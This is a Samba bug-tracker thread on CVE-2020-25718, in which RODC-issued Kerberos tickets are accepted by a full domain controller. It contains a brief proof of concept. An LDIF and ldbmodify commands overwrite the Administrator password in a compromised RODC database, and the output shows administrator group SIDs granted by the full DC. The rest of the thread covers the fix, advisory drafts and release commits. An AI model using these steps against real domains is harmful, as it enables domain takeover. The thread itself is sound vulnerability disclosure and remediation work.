Unlike the GetNCChanges function, the KDC treats all RODCs as a full krbtgt just with a different KVNO. We do regenerate the PAC in samba_wdc_reget_pac() but we do not confirm that the principal being re-signed should ever have been issued by the RODC. This means that, I think, an administrator or full DC ticket could be issued (forged) by an RODC and then accepted by a full DC, before being presented on the network.
If true: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H (7.2)
Windows 2019 returns KRB_ERR_TGT_REVOCKED in this case. I'll ask Microsoft to document more clearly in MS-KILE how we should be protecting ourselves here.
cat unicodePwd.ldif # record 1 dn: CN=Administrator,CN=Users,DC=win19,DC=abartlet,DC=wgtn,DC=cat-it,DC=co,DC=nz changetype: modify replace: unicodePwd unicodePwd:: 4ZzPde5U4GsGpZB68TzvQg== - abartlet@rodc:~/samba$ bin/ldbmodify -H st/rodc/private/sam.ldb unicodepwd.ldif --controls=local_oid:1.3.6.1.4.1.7165.4.3.31:0 --controls=local_oid:1.3.6.1.4.1.7165.4.3.9:0 Modified 1 records successfully abartlet@rodc:~/samba$ bin/samba4kinit administrator administrator@SAMBA.EXAMPLE.COM's Password: abartlet@rodc:~/samba$ bin/ldbsearch -H ldap://$DC_SERVER -k yes -s base -b "" tokenGroups # record 1 dn: tokenGroups: S-1-5-21-2437578544-1706623409-3143221489-500 tokenGroups: S-1-5-21-2437578544-1706623409-3143221489-513 tokenGroups: S-1-5-21-2437578544-1706623409-3143221489-512 tokenGroups: S-1-5-21-2437578544-1706623409-3143221489-572 tokenGroups: S-1-5-21-2437578544-1706623409-3143221489-518 tokenGroups: S-1-5-21-2437578544-1706623409-3143221489-519 tokenGroups: S-1-5-21-2437578544-1706623409-3143221489-520 tokenGroups: S-1-1-0 tokenGroups: S-1-5-2 tokenGroups: S-1-5-11 tokenGroups: S-1-5-32-544 tokenGroups: S-1-5-32-545 tokenGroups: S-1-5-32-554 # returned 1 records # 1 entries # 0 referrals This shows the full DC accepting a ticket from the compromised RODC and providing administrator access.
Windows appears to confirm that the user is permitted to replicate to the RODC before accepting the ticket. Checked by adding a user to the password replication policy for the RODC, replicating and then removing the user from that. The user becomes unable to use the RODC ticket on the main domain once removed from the policy.
Proposed test: Preload the password for a user to the RODC, then revoke their RODC replication permission, and then attempt to use that ticket to contact the main DC (eg connect to LDAP). This might be good as a python-based kerberos test, to confirm the exact error code and KNVOs (indicating main DC vs RODC).
The fix also needs to confirm a good link between the principal in the ticket and the primary SID in the PAC.
Testing against Windows 2019 shows that this is handled entirely on the presented principal name, not the provided PAC. The PAC is unilaterally regenerated as if this was an initial ticket request, even if this means giving the PAC to a whole different account (compared to what the RODC claimed in the RODC-issued ticket).
By running 'net ads kerberos pac dump' on a member server joined to the DC you can prove that the PAC is replaced by the full DC. A big clue is that the logon server is the full DC name. To play with this I used a Samba RODC in a docker container and stopped replication while changing the users on the server side (easier than editing the local DB on the client, but to the same ends). A python script testing this would be the best way to prove this for the final fix however.
(In reply to Andrew Bartlett from comment #7) This has been reported as VULN-042737 and tracked as MSRC Case 63828. If it can be resolved in a reasonable time then we might well want to wait until MS releases their fix so we can match it, even if our issue is much larger.
We also need to limit the tickets printed to being, ideally, accounts that have been recorded as being disclosed to the RODC (msDS-RevealedUsers). Windows doesn't do this, I've reported this as MSRC Case 64134, but this is regarded as being 'by design'.
We need the fix to follow https://bugzilla.samba.org/show_bug.cgi?id=14703#c3 which is to confirm that the KDC the printed the ticket links to an account with UF_PARTIAL_SECRETS via msds-krbtgtlink
I'll work on this next.
Created attachment 16917 [details] initial advisory (v01)
Opening this sub-bug to vendors.
Created attachment 16936 [details] CVE-2020-25718-advisory-v2.txt -== Kerberos tickets issues by an RODC. +== Kerberos tickets issued by an RODC.
The tests are now failing in ldb 2.2.3 (vs ldb 2.2.2) on all 32-bit architecures. With: > ===================================================================== > ERROR: test_timestring (__main__.NoContextTests) > ---------------------------------------------------------------------- > Traceback (most recent call last): > File "/<<PKGBUILDDIR>>/tests/python/api.py", line 47, in test_timestring > self.assertEqual("00000101000000.0Z", ldb.timestring(-62167219200)) > OverflowError: Python int too large to convert to C long > > ====================================================================== > FAIL: test_string_to_time (__main__.NoContextTests) > ---------------------------------------------------------------------- > Traceback (most recent call last): > File "/<<PKGBUILDDIR>>/tests/python/api.py", line 65, in test_string_to_time > self.assertEqual(-62167219200, ldb.string_to_time("00000101000000.0Z")) > AssertionError: -62167219200 != -1 (Probably f2c0ab2daed7598a51e09dcae7c69c98fbae9682) Any idea on how to fix this? https://buildd.debian.org/status/logs.php?pkg=ldb&ver=2%3A2.2.3-1
Observing the same failures on 32bit fedora builds: https://koji.fedoraproject.org/koji/taskinfo?taskID=78313579
(In reply to Guenther Deschner from comment #17) I would just remove those tests on 32-bit. There isn't much that can be done except on hosts with 64-bit time_t and 32-bit long, where we could instead have python import a 64-bit number. Then open a bug for us to look into this later. The regression is in: commit 71e8b24b8a031de26b21539e36a60f459257d2fd Author: Stefan Metzmacher <metze@samba.org> Date: Tue Jan 19 16:53:55 2021 +0100 pyldb: catch potential overflow error in py_timestring Pair-Programmed-With: Björn Baumbach <bb@sernet.de> Signed-off-by: Stefan Metzmacher <metze@samba.org> Signed-off-by: Björn Baumbach <bb@sernet.de> Reviewed-by: Andrew Bartlett <abartlet@samba.org> Only noticed now as we just ended up with a full backport of the ldb layer for consistency. Previously the overflow was silent. Otherwise this would only have been noticed once Samba 4.15 builds started to be done broadly.
Created attachment 16966 [details] CVE-2020-25718-advisory-v3.txt Learned a new word: "sicket". Fixed in the attached file: @@ -19,7 +19,7 @@ Samba as an Active Directory Domain Controller is able to support an RODC, which is meant to have minimal privileges in a domain. However, in accepting a ticket from a Samba or Windows RODC, Samba -was not confirming that the RODC is authorized to print such a sicket, +was not confirming that the RODC is authorized to print such a ticket, via the msDS-NeverRevealGroup and msDS-RevealOnDemandGroup (typically "Allowed RODC Replication Group" and "Denied RODC Replciation Group").
This bug was referenced in samba v4-15-stable (Release samba-4.15.2): 83b398309f4f2c26bdfac4d5346852c42d943a14 0cddce8d38f6c32c1dd444af1a9ffc27ff9fb258 bf5604a7c2a028f1f43d254a0ab851a06c01459a 50a69252454501c163917156c05661d43615b244 4d21b4d2050e43b96a605198ce1306ea4f9e0577 4fa7a448f3b22cdb7ad83bc4c99d41d57770caec 4a8e087c2522cd7212b0b244df708ad8a1c35695 1e957cacd0a248ddad07b897058e6494e67de0d4 0492a73305478604efb60c74c678da1a2df76383 83fc8e40f36fe2bb87e645434ef78947d7fe029a 24a097d23f4e7129ef0ef46622e4775db5a2b456 92249e9be1bb2e579ad2f28391c094e9abe970da 7a826d91127bc31476dbc8805b0b0c240b3b1ecf ca37096826008aee797eb806c500e903afd7d2ef 1d26ec8d58a8510a8ef81fcaf366aa417a637142 30e379fc33f2eec78b2ebb8ae3f9cabf251356f3 390b5e77dc5c90f3ed78e5696daeb2e0969f70ad
This bug was referenced in samba v4-14-stable (Release samba-4.14.10): 824f17096ed7f557d90d2a7d2a18b1cd85595aaa 8b92d9a36c839c87544c019ff0911d35bd5a9bf5 9165ba3575773f080048fc0fd3175ef329bf6373 649c9d1577abc55c55565d3a3bfe5d45f665e157 b57045193a947a2c7b2fbb2ec5284265806b24ce de34a5bb5349e8bfb578209766aa464009f45da4 55fdf0f63c205906f6b92c715d5b6d8d05b19491 91415e7b5247681072a0a3f63dbcf5d91a2f6ccd 0619d4eb4fc9bd12e78117084c09272ba4cacd29 60a136bcc6c993f9462247332624be17bc6dd9bb e46073057483d35d92bdc9b45410c24f4bdb8261 d375c5fea5dac208673fd9233a902df2da64e5dd 1ca1ddbe277aafd308c6df581c563a8b1c005391 d3bd072c0e9b3810921048663ac59a8f70739b31 b8a81c06357f0360dbb3b59b1da1108bd1574810 033009044ebe5fbe21f5ce256ffe26bfb2335a05 b28a7db8a4316377dc2454cce3da3a69017a2a81
This bug was referenced in samba v4-13-stable (Release samba-4.13.14): 696ae3cb2856ae3383787084174969ee5c3fa53b 62af3d24a44a93dfa02508d0b4d31ed7e3cd2084 decb2883d77a9d369deb4ea934281ec98546d9f0 8c1092d8ec02a0b8110515a9d904a46184df9f06 4b78fe5c13b2fdb66d0c186829bfb9c064deac50 0a3ebd1d1b92a865b632c44d211facd1a3bf58a9 43f321dce53fbc7865933041ba3c877b9ee5cb6c d15ffe1ba204480a99ba021bb68bd2dbde9206fa 69b14a883a276b042a0b6a958e78960698d392c0 27629a5a662a5f773b6df0702f4b65354c0282e1 944d1af2826b9d70ab59055b4c5d862c6c8c64d1 65b170366ac21bd77e4cd53cd6317e58021fefc2 a12d50c533459d5d7b6e2343b16e92c2dac8ebf1 4cb7155917e48fcdbb6c4d78e172010ce5255755 1566a68a3dc210a8119e5def2e38fef969a9c91f aa66df26021f6c305f932c8ca8d9a50066822fcd 06a46f79dd6ac3f3d70c1e099571265d1475dedf
This bug was referenced in samba v4-14-test: 824f17096ed7f557d90d2a7d2a18b1cd85595aaa 8b92d9a36c839c87544c019ff0911d35bd5a9bf5 9165ba3575773f080048fc0fd3175ef329bf6373 649c9d1577abc55c55565d3a3bfe5d45f665e157 b57045193a947a2c7b2fbb2ec5284265806b24ce de34a5bb5349e8bfb578209766aa464009f45da4 55fdf0f63c205906f6b92c715d5b6d8d05b19491 91415e7b5247681072a0a3f63dbcf5d91a2f6ccd 0619d4eb4fc9bd12e78117084c09272ba4cacd29 60a136bcc6c993f9462247332624be17bc6dd9bb e46073057483d35d92bdc9b45410c24f4bdb8261 d375c5fea5dac208673fd9233a902df2da64e5dd 1ca1ddbe277aafd308c6df581c563a8b1c005391 d3bd072c0e9b3810921048663ac59a8f70739b31 b8a81c06357f0360dbb3b59b1da1108bd1574810 033009044ebe5fbe21f5ce256ffe26bfb2335a05 b28a7db8a4316377dc2454cce3da3a69017a2a81
This bug was referenced in samba v4-13-test: 696ae3cb2856ae3383787084174969ee5c3fa53b 62af3d24a44a93dfa02508d0b4d31ed7e3cd2084 decb2883d77a9d369deb4ea934281ec98546d9f0 8c1092d8ec02a0b8110515a9d904a46184df9f06 4b78fe5c13b2fdb66d0c186829bfb9c064deac50 0a3ebd1d1b92a865b632c44d211facd1a3bf58a9 43f321dce53fbc7865933041ba3c877b9ee5cb6c d15ffe1ba204480a99ba021bb68bd2dbde9206fa 69b14a883a276b042a0b6a958e78960698d392c0 27629a5a662a5f773b6df0702f4b65354c0282e1 944d1af2826b9d70ab59055b4c5d862c6c8c64d1 65b170366ac21bd77e4cd53cd6317e58021fefc2 a12d50c533459d5d7b6e2343b16e92c2dac8ebf1 4cb7155917e48fcdbb6c4d78e172010ce5255755 1566a68a3dc210a8119e5def2e38fef969a9c91f aa66df26021f6c305f932c8ca8d9a50066822fcd 06a46f79dd6ac3f3d70c1e099571265d1475dedf
The releases are made, removing [EMBARGOED] tag. The vendor-only restriction will be removed soon once the dust settles.
This bug was referenced in samba v4-15-test: 83b398309f4f2c26bdfac4d5346852c42d943a14 0cddce8d38f6c32c1dd444af1a9ffc27ff9fb258 bf5604a7c2a028f1f43d254a0ab851a06c01459a 50a69252454501c163917156c05661d43615b244 4d21b4d2050e43b96a605198ce1306ea4f9e0577 4fa7a448f3b22cdb7ad83bc4c99d41d57770caec 4a8e087c2522cd7212b0b244df708ad8a1c35695 1e957cacd0a248ddad07b897058e6494e67de0d4 0492a73305478604efb60c74c678da1a2df76383 83fc8e40f36fe2bb87e645434ef78947d7fe029a 24a097d23f4e7129ef0ef46622e4775db5a2b456 92249e9be1bb2e579ad2f28391c094e9abe970da 7a826d91127bc31476dbc8805b0b0c240b3b1ecf ca37096826008aee797eb806c500e903afd7d2ef 1d26ec8d58a8510a8ef81fcaf366aa417a637142 30e379fc33f2eec78b2ebb8ae3f9cabf251356f3 390b5e77dc5c90f3ed78e5696daeb2e0969f70ad
This bug was referenced in samba master: f7f49db72223478b64f1d2aa07a160737f95629a 3af0c36a06354bae9737dad37a341d3c120a1aba 2249143fe3dae59648466326c398912d7d61835f 19719003af110c6ed664970cddb353d60805ba91 4796b0a5c1d3948642d17eef9f72d364f0e29de3 cdb5690be40f6f6c5e5809783c4a364785f85a6e edd3d61feabf2530c9dc2caff98bfbb5f0a2bd1a 8ee6753a6ea782050b5b722ce1ac63a275a94f7c 601403504325f2f0e241da0a4eb3e390e73f3c08 16f96dbb5d4b2262c5ba85fb32a479f0cb66ed23 c70710a0483e500f03e59df4dd759e6033975c15 a831ef74c5b2982c108cc16dae9b116e9658dcb8 158765d1f33daf19396cb063473c3a132b15a7fc a9ac1f919127cf91a08dd3c20bbeda27af980aef b176ddba2a2e3ec9e74e0b6b40b12d1a1139bdf5 80257fa37c49138fb1af0a910a3ea41954096c11 b8c6fa20f41a65fcaa9bb09a6316df97da07ee79
The patches addressing this issue have been pushed to master and security releases made.
Removing vendor restriction and all-vendor CC (to avoid spamming all vendors now this is public. If you are a vendor and wish to be notified about further updates please CC individually.
Removing remaining redacted comments.